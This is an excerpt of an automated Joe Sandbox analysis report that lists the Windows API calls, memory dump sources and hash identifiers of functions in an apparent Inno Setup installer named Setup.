SendMessageA.USER32(?,0000004A,00000000,0047A1D6), ref: 00479E65
GetTickCount.KERNEL32 ref: 00479EAA
GetTickCount.KERNEL32 ref: 00479EB4
MsgWaitForMultipleObjects.USER32(00000000,00000000,00000000,0000000A,000000FF), ref: 00479F09

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CountTick$AddressHandleMessageModuleMultipleObjectsProcProcessSendThreadWaitWindow
String ID:
API String ID: 613034392-0
Opcode ID: c7fe9805e027d69919eb8a97ad8827c37fb94b41e0707a439a8006e98ab0b95f
Instruction ID: 8ed1ec97354de849ed4f0c595c4af6552465c9239a807e4306f6ef007a2a457b
Opcode Fuzzy Hash: c7fe9805e027d69919eb8a97ad8827c37fb94b41e0707a439a8006e98ab0b95f
Instruction Fuzzy Hash: 9B319F34B002159ADB10EBB9C8867EEB6A59F48304F50843AF148EB392DB7C8D45C79D

Function 004516E8 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,000001A1,?,00000000), ref: 00451731

Part of subcall function 0044FD80: SendMessageA.USER32(00000000,000001A0,?,00000000), ref: 0044FDB2

InvalidateRect.USER32(00000000,00000000,00000001,00000000,000001A1,?,00000000), ref: 004517B5

Part of subcall function 0042BA74: SendMessageA.USER32(00000000,0000018E,00000000,00000000), ref: 0042BA88

IsRectEmpty.USER32(?), ref: 00451777
ScrollWindowEx.USER32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000006), ref: 0045179A

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: MessageSend$Rect$EmptyInvalidateScrollWindow
String ID:
API String ID: 855768636-0
Opcode ID: e76cfd4c52971886f7fd894d36aad9661ccd743d0cf6055f394c470c0da30c8e
Instruction ID: 85eed7a4e0482d167d6f9749675605ee9266d7dedfe08af4d3190f1387939c66
Opcode Fuzzy Hash: e76cfd4c52971886f7fd894d36aad9661ccd743d0cf6055f394c470c0da30c8e
Instruction Fuzzy Hash: 4A115C71B003002BD610BA7E8C86B5B66899B88749F14493FB546DB383EEBDDC094299

Function 0049866C Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

OffsetRect.USER32(?,?,00000000), ref: 004986D0
OffsetRect.USER32(?,00000000,?), ref: 004986EB
OffsetRect.USER32(?,?,00000000), ref: 00498705
OffsetRect.USER32(?,00000000,?), ref: 00498720

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: OffsetRect
String ID:
API String ID: 177026234-0
Opcode ID: aeffc7853661716b2da7ef1aac324dd64e2caf4574856c8d36fd2d7bc6faac88
Instruction ID: bd49124b47028f96e45f837b6505a98b87df1113dc93832d3d1f13759d0851e0
Opcode Fuzzy Hash: aeffc7853661716b2da7ef1aac324dd64e2caf4574856c8d36fd2d7bc6faac88
Instruction Fuzzy Hash: F4218CB6704201ABD700DE6DCD85E6BB7DEEBD4344F548A2AF944C7389EA34EC048765

Function 004171B4 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 004171FC
SetCursor.USER32(00000000), ref: 0041723F
GetLastActivePopup.USER32(00010426), ref: 00417269
GetForegroundWindow.USER32(00010426), ref: 00417270

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Cursor$ActiveForegroundLastPopupWindow
String ID:
API String ID: 1959210111-0
Opcode ID: eb9ff32766dae931932d05ae5cd38c9c21d1d1e46bd3288878185d09a1b5499f
Instruction ID: 3dd5752ad14d4ceb4ddc16745a92fbf17e5fb379681e7b3bbd7c796fc94287a8
Opcode Fuzzy Hash: eb9ff32766dae931932d05ae5cd38c9c21d1d1e46bd3288878185d09a1b5499f
Instruction Fuzzy Hash: 0B21A1312482008ACB10EF7AD845AE733F2AB18754B5544ABF8448B396DB3DDCC2CB99

Function 00416AE2 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,?,?,?), ref: 00416B24
SetTextColor.GDI32(?,00000000), ref: 00416B3E
SetBkColor.GDI32(?,00000000), ref: 00416B58
CallWindowProcA.USER32(?,?,?,?,?), ref: 00416B80

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Color$CallMessageProcSendTextWindow
String ID:
API String ID: 601730667-0
Opcode ID: 041855b4fe8aceb4bde77d363f560f3a1bae281eb034276bee54c762e8e7f675
Instruction ID: d7d1ada40c0626881e062b114b7ed11389bd5bd7d21c80b8fa9c47aad872fa48
Opcode Fuzzy Hash: 041855b4fe8aceb4bde77d363f560f3a1bae281eb034276bee54c762e8e7f675
Instruction Fuzzy Hash: 45114CB6605604AFD710EE6AC884E8773ECEF48310B15882EB559CB612C638FC418B69

Function 00498320 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(8B500000,00000008,00000000), ref: 00498339
MulDiv.KERNEL32(5514246C,00000008,?), ref: 0049834C
MulDiv.KERNEL32(F6D177E8,00000008,00000000), ref: 00498363
MulDiv.KERNEL32(2C538BFF,00000008,?), ref: 00498381

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0fb017c374459664631b1c6a5aa5a95a6efb531d0ae8d0ba28418cf7386840a
Instruction ID: 18327792a0b4685f5734560575e38d1fbd37e67493ea5312e0974c6fa1c39107
Opcode Fuzzy Hash: d0fb017c374459664631b1c6a5aa5a95a6efb531d0ae8d0ba28418cf7386840a
Instruction Fuzzy Hash: 3211EFB2604108AFCF50DEADD8C5D9B7BECEF0D224B2441AAFD08DB246D675ED418B64

Function 0041F400 Relevance: 6.1, APIs: 4, Instructions: 56registryCOMMON

Download Yara Rule

APIs

GetClassInfoA.USER32(00400000,0041F3F0,?), ref: 0041F421
UnregisterClassA.USER32(0041F3F0,00400000), ref: 0041F44A
RegisterClassA.USER32(0049C598), ref: 0041F454
SetWindowLongA.USER32(00000000,000000FC,00000000), ref: 0041F48F

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Class$InfoLongRegisterUnregisterWindow
String ID:
API String ID: 4025006896-0
Opcode ID: e21258cbbc1a0fb826f59853918fd5c7eafad620f3e5c70d4b4d9b35282b766b
Instruction ID: 4c550105eadf905685fd75840aceea4ab667899ca78f9417af77c5ef8d26462f
Opcode Fuzzy Hash: e21258cbbc1a0fb826f59853918fd5c7eafad620f3e5c70d4b4d9b35282b766b
Instruction Fuzzy Hash: 1C0175712401147FCB10EFA9DC81E9B379C9729324F514237BA05EB2E1C635AC158B6D

Function 00457A04 Relevance: 6.1, APIs: 4, Instructions: 54COMMON

Download Yara Rule

APIs

WaitForInputIdle.USER32(?,00000032), ref: 00457A30
MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000000FF), ref: 00457A52
GetExitCodeProcess.KERNEL32(?,?), ref: 00457A61
CloseHandle.KERNEL32(?,00457A8E,00457A87,?,?,?,00000000,?,?,00457C63,?,?,?,00000044,00000000,00000000), ref: 00457A81

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Wait$CloseCodeExitHandleIdleInputMultipleObjectsProcess
String ID:
API String ID: 4071923889-0
Opcode ID: 0dfa7e9200d64fabf5d55ec09caa4cf02569dfd6faa38860f3b5da473412d2da
Instruction ID: 96ba978d0f3200ff2f3ee3d043ff3d93e170fe676136df6a70578c990308a337
Opcode Fuzzy Hash: 0dfa7e9200d64fabf5d55ec09caa4cf02569dfd6faa38860f3b5da473412d2da
Instruction Fuzzy Hash: F401B970A586097EEB2097959C06F6F7AACDB04760F610177B904D32C3D5789E008A65

Function 0040D210 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00400000,?,00000000), ref: 0040D227
LoadResource.KERNEL32(00400000,72756F73,0040A9C8,00400000,00000001,00000000,?,0040D184,00000000,?,00000000,?,?,0047EA7C,0000000A,REGDLL_EXE), ref: 0040D241
SizeofResource.KERNEL32(00400000,72756F73,00400000,72756F73,0040A9C8,00400000,00000001,00000000,?,0040D184,00000000,?,00000000,?,?,0047EA7C), ref: 0040D25B
LockResource.KERNEL32(74536563,00000000,00400000,72756F73,00400000,72756F73,0040A9C8,00400000,00000001,00000000,?,0040D184,00000000,?,00000000,?), ref: 0040D265

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: bc51642c9039e7ca9a204d526380f19dc1a42d5f057d99f663d27825b8f47288
Instruction ID: b8db8f1b68846a8e442c2c874a6fb8d66262b95cc60c0104c01d330429e9ff74
Opcode Fuzzy Hash: bc51642c9039e7ca9a204d526380f19dc1a42d5f057d99f663d27825b8f47288
Instruction Fuzzy Hash: 57F012B26056046F9B44EE9D9881D6B77EDDE89264310017FF908EB246DA38DD0187B9

Function 004836DC Relevance: 6.1, APIs: 4, Instructions: 51windowCOMMON

Download Yara Rule

APIs

GetSystemMenu.USER32(?,00000000,00000000,00483788), ref: 00483711
GetMenuStringA.USER32(00000000,00000008,?,00000101,00000400), ref: 0048372C
DeleteMenu.USER32(00000000,00000008,00000400,00000000,00000008,?,00000101,00000400,?,00000000,00000000,00483788), ref: 0048375D
DeleteMenu.USER32(00000000,00000007,00000400,00000000,00000008,00000400,00000000,00000008,?,00000101,00000400,?,00000000,00000000,00483788), ref: 0048376A

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Menu$Delete$StringSystem
String ID:
API String ID: 1572062458-0
Opcode ID: 088fb17f14a7ab73b479b1fb3af678ae87ed02f3e5b62424d1987f0e35a48ec8
Instruction ID: 3ca5e3ce3b4132587cb30f7eb39221ddfbff274a9e715a30b2f3bbed6b8c2e6a
Opcode Fuzzy Hash: 088fb17f14a7ab73b479b1fb3af678ae87ed02f3e5b62424d1987f0e35a48ec8
Instruction Fuzzy Hash: DA01C4B06447047AE760EB21CC82F9B376CEBA4B05F108477B284751D1DAFC6A858A1C

Function 00458838 Relevance: 6.0, APIs: 4, Instructions: 41registrywindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DBF0: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,WSH,?,00000001,?,?,00485357,?,00000001,00000000), ref: 0042DC0C

RegDeleteValueA.ADVAPI32(?,00000000,00000082,00000002,00000000,?,?,00000000,0045E2B6,?,?,?,?,?,00000000,0045E2DD), ref: 00458874
RegCloseKey.ADVAPI32(00000000,?,00000000,00000082,00000002,00000000,?,?,00000000,0045E2B6,?,?,?,?,?,00000000), ref: 0045887D
RemoveFontResourceA.GDI32(00000000), ref: 0045888A
SendNotifyMessageA.USER32(0000FFFF,0000001D,00000000,00000000), ref: 0045889E

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: CloseDeleteFontMessageNotifyOpenRemoveResourceSendValue
String ID:
API String ID: 4283692357-0
Opcode ID: 82a2c8d3fec89cb886b49f995733bc1c303c91659982f685483671e6a050b452
Instruction ID: 7bad2fbc8ece85d0e7ed52341d4718225cca7d46b07f950f1875b4bc87f48054
Opcode Fuzzy Hash: 82a2c8d3fec89cb886b49f995733bc1c303c91659982f685483671e6a050b452
Instruction Fuzzy Hash: F0F054F1B4030166EA10B7B69C87F1B668C9F44759F54483FB604EB1C3D97CD904562D

Function 0047ECAC Relevance: 6.0, APIs: 4, Instructions: 35sleepCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0047ECCD
GetLastError.KERNEL32 ref: 0047ECD7
GetTickCount.KERNEL32 ref: 0047ECE1
Sleep.KERNEL32(00000032), ref: 0047ECF1

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ErrorLast$CountSleepTick
String ID:
API String ID: 2227064392-0
Opcode ID: 5de09800a304b42fb7241ec0592f7a3e686c385e2dce3f8bbddf0ecf1d437201
Instruction ID: dc2d722d86b8623f4e6d4cfad88fa3b658c7d6da7d0136891038765ec6e529c2
Opcode Fuzzy Hash: 5de09800a304b42fb7241ec0592f7a3e686c385e2dce3f8bbddf0ecf1d437201
Instruction Fuzzy Hash: 97E02B2730956019E62231BF19925BF5644CAC9325B2887BFFC89EF283C82C4C45867E

Function 0047A3B4 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,?,?,?,00000001,00000000,00000002,00000000,00482D1B,?,?,?,?,?,0049B959,00000000), ref: 0047A3BD
OpenProcessToken.ADVAPI32(00000000,00000008,?,?,?,00000001,00000000,00000002,00000000,00482D1B,?,?,?,?,?,0049B959), ref: 0047A3C3
GetTokenInformation.ADVAPI32(00000008,00000012(TokenIntegrityLevel),00000000,00000004,00000008,00000000,00000008,?,?,?,00000001,00000000,00000002,00000000,00482D1B), ref: 0047A3E5
CloseHandle.KERNEL32(00000000,00000008,TokenIntegrityLevel,00000000,00000004,00000008,00000000,00000008,?,?,?,00000001,00000000,00000002,00000000,00482D1B), ref: 0047A3F6

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID:
API String ID: 215268677-0
Opcode ID: aeb9d366b71b0896e6b987393785f2bbd4e5161ea65e1773a80a37074c7672d1
Instruction ID: 290349aaba62add96d8effb654da96733f683d686eb5f452d78197258c540510
Opcode Fuzzy Hash: aeb9d366b71b0896e6b987393785f2bbd4e5161ea65e1773a80a37074c7672d1
Instruction Fuzzy Hash: DBF030A16043006BD600EAB58C82E9F76DCEB84314F00893ABE98C72D1DA39DC189B66

Function 0042414C Relevance: 6.0, APIs: 4, Instructions: 26windowCOMMON

Download Yara Rule

APIs

GetLastActivePopup.USER32(00010426), ref: 00424158
IsWindowVisible.USER32(00010426), ref: 00424169
IsWindowEnabled.USER32(00010426), ref: 00424173
SetForegroundWindow.USER32(00010426), ref: 0042417D

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Window$ActiveEnabledForegroundLastPopupVisible
String ID:
API String ID: 2280970139-0
Opcode ID: 0a3ac3debb977e9d3f896934f6b7a981f44c62d4ab86291c2efb485d4d825bed
Instruction ID: a4c98a9a4b4bf0b386c62bad9f26acd7b9765d7c6016e348d23d275e72c03f4f
Opcode Fuzzy Hash: 0a3ac3debb977e9d3f896934f6b7a981f44c62d4ab86291c2efb485d4d825bed
Instruction Fuzzy Hash: 03E08651701A3232AE27677D18459BB218DCD543643894237BE00FF282DB2CCE9145FC

Function 0040620C Relevance: 6.0, APIs: 4, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

GlobalHandle.KERNEL32 ref: 0040620F
GlobalUnlock.KERNEL32(00000000), ref: 00406216
GlobalReAlloc.KERNEL32(00000000,00000000), ref: 0040621B
GlobalLock.KERNEL32(00000000), ref: 00406221

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Global$AllocHandleLockUnlock
String ID:
API String ID: 2167344118-0
Opcode ID: ce3d7e98eb083abff9625d8cb9893dc6388229aa378701f4c8ed04985a1b0bf0
Instruction ID: b3e54847029d21a42a3033ff9c5f336f79fb2b9e909d9c34e2666d276069dca4
Opcode Fuzzy Hash: ce3d7e98eb083abff9625d8cb9893dc6388229aa378701f4c8ed04985a1b0bf0
Instruction Fuzzy Hash: 62B009C4850B06B8EC0473F24C4BE3F481CD88072C7884A6F3489BA0C3987C9C18893A

Function 0046D3B0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 261windowCOMMON

Download Yara Rule

APIs

GetSystemMenu.USER32(00000000,00000000,0000F060,00000001), ref: 0046D5C1
EnableMenuItem.USER32(00000000,00000000,00000000), ref: 0046D5C7

Strings

CurPageChanged, xrefs: 0046D765

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: Menu$EnableItemSystem
String ID: CurPageChanged
API String ID: 3692539535-2490978513
Opcode ID: 6d68d38692a592746055cea628837267eafc1735ed7e9e7e5ec45de582075b2a
Instruction ID: 742707e4ae25d71da3d0ef66ec43dd32ab79060da74672125f48412489c03a69
Opcode Fuzzy Hash: 6d68d38692a592746055cea628837267eafc1735ed7e9e7e5ec45de582075b2a
Instruction Fuzzy Hash: 8FB11634F04144DFC711DB69C985EAA77F5EF49308F2641B6E8049B362EB38AE41DB4A

Function 0048485C Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 213COMMON

Download Yara Rule

APIs

SetActiveWindow.USER32(00010426,?,00000000,00484B71,?,?,00000001,?), ref: 0048496D
SHChangeNotify.SHELL32(08000000,00000000,00000000,00000000), ref: 004849E2

Strings

, xrefs: 00484A9F

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: ActiveChangeNotifyWindow
String ID:
API String ID: 1160245247-2344752452
Opcode ID: 8cceae0d5a7cc42d5f00a660ce860f25875ed731a62b183c86a7b9fbdaf01298
Instruction ID: b8eff69a97edc7ba8a52a21a2eb7770722d44a3487f4acef1a8e37d91a482f72
Opcode Fuzzy Hash: 8cceae0d5a7cc42d5f00a660ce860f25875ed731a62b183c86a7b9fbdaf01298
Instruction Fuzzy Hash: 1C918F746042459FCB10EB69D882B9E77E0AF55308F5084BBE800DB366DB78AD49CB5E

Function 0047890C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89timeCOMMON

Download Yara Rule

APIs

LocalFileTimeToFileTime.KERNEL32(?,?,?,00000000,00000000,00478A03,?,00000000,00478A14,?,00000000,00478A5D), ref: 004789D4
SetFileTime.KERNEL32(?,00000000,00000000,?,?,?,?,00000000,00000000,00478A03,?,00000000,00478A14,?,00000000,00478A5D), ref: 004789E8

Strings

04E, xrefs: 00478963

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556796119.00000000004AE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Setup.jbxd

Similarity

API ID: FileTime$Local
String ID: 04E
API String ID: 791338737-1723234922
Opcode ID: 7dbd625a438ce3bfb6ec1e9707cc548328c38d55b5ac9b2cc31372831b693e20
Instruction ID: 488cb222c1b4ab530419d38e43cba1a2a9fcc43150b13d5c6274dd7c641e8ad8
Opcode Fuzzy Hash: 7dbd625a438ce3bfb6ec1e9707cc548328c38d55b5ac9b2cc31372831b693e20
Instruction Fuzzy Hash: B831A670A00604AFCB11DFA5C892FAFBBB9EB09704F41847BF904E7281D6799904CB98

Function 0047B048 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 86registryCOMMON

Download Yara Rule

APIs

Part of subcall function 0042DBF0: RegOpenKeyExA.ADVAPI32(80000002,System\CurrentControlSet\Control\Windows,WSH,?,00000001,?,?,00485357,?,00000001,00000000), ref: 0042DC0C

RegCloseKey.ADVAPI32(?,0047B12E,?,?,00000001,00000000,00000000,0047B149), ref: 0047B117

Strings

%s\%s_is1, xrefs: 0047B0C0
Software\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 0047B0A2

Memory Dump Source

Source File: 00000000.00000002.4556705406.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4556673285.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.000000000049C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4556758109.00000000004A0000.00000004.00000001.01000000.00000003.sdmpDownload File
